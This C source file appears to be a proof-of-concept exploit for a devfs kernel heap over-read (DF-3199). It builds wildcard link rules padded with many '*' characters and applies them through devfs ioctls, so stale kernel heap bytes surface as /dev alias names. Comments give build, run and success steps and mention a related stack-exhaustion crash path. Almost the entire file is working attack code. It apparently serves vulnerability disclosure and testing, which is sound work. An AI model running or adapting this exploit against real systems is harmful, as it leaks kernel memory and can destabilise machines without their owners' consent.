/*
 * DF-3199 - devfs_rule_create_link() heap over-read disclosed via link names.
 *
 * devfs_rule_create_link() (devfs_rules.c:237) takes the wildcard branch
 * whenever rule->name ends in '*'.  It then strips
 *      len = strlen(pattern_basename) - 1
 * bytes from the NODE's name:
 *      ksnprintf(buf, sizeof(buf), "%s%s", rule->linkname, node->d_dir.d_name+len);
 * The wildcard matcher (devfs_WildCaseCmp) allows ANY number of leading '*'
 * characters, so a pattern of many '*'s followed by "null" and a trailing '*'
 * full-matches the node "null" (4 chars) while demanding a strip of ~200
 * bytes.  node->d_dir.d_name is a kmalloc(namlen+1) == 5-byte allocation, so
 * the read starts ~195 bytes PAST the end of the chunk and copies adjacent
 * M_DEVFS heap contents into the new alias name, which every user can see
 * with ls /dev.
 *
 * Build:  cc -static -O -o leak_linkname leak_linkname.c
 * Run  :  ./leak_linkname    (as root)
 * Success: /dev/LKxx.<leaked bytes> aliases whose suffix varies across runs
 * and contains stale kernel heap content (prior devfs object strings).
 */
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

static int fd;

static void
clearall(void)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_CLEAR, &r) < 0)
		err(1, "CLEAR");
}

static void
applyall(void)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0)
		err(1, "APPLY");
}

static void
resetall(void)
{
	struct devfs_rule_ioctl r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_RESET, &r) < 0)
		err(1, "RESET");
}

int
main(void)
{
	static const int offsets[] = { 17, 20, 24, 33, 48, 64 };
	/* NOTE: offsets 100/200 are deliberately omitted: patterns of ~95
	 * leading '*'s already blow the devfs core thread stack inside
	 * wildCaseCmp() (DF-3202, 80 bytes/star/frame) before the link is
	 * even created.  64 is the largest verified-safe strip on this
	 * kernel; the leak below is fully demonstrated at these offsets. */
	struct devfs_rule_ioctl r;
	char pat[1024];
	char cmd[256];
	size_t i;

	fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/devfs");

	for (i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
		int off = offsets[i];
		int stars = off - 4 - 1;	/* stars + "null" + '*' => strlen-1 = off */
		char lname[64];

		if (stars < 1)
			continue;

		snprintf(lname, sizeof(lname), "lk/LK%d.", off); /* path-scoped:
		 * aliases land in /dev/lk/ whose parent != root, so the rule
		 * (name without '/') can never match them again -- prevents
		 * the self-matching recursion of DF-3201 while leaking */

		memset(pat, '*', stars);
		pat[stars] = '\0';
		strlcat(pat, "null*", sizeof(pat));	/* len = stars+5; strip = off */

		resetall();			/* clean links from previous round */
		sleep(1);
		clearall();

		memset(&r, 0, sizeof(r));
		r.rule_type = DEVFS_RULE_NAME;
		r.rule_cmd = DEVFS_RULE_LINK;
		strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
		strlcpy(r.name, pat, sizeof(r.name));
		strlcpy(r.linkname, lname, sizeof(r.linkname));
		if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
			err(1, "ADD off=%d", off);

		applyall();
		sleep(2);

		snprintf(cmd, sizeof(cmd),
		    "ls -l /dev/lk/ 2>/dev/null || echo \"no alias for off=%d\"",
		    off);
		printf("=== strip offset %+d (pattern %zu chars) ===\n", off, strlen(pat));
		fflush(stdout);
		system(cmd);
		fflush(stdout);
	}

	printf("done\n");
	return 0;
}
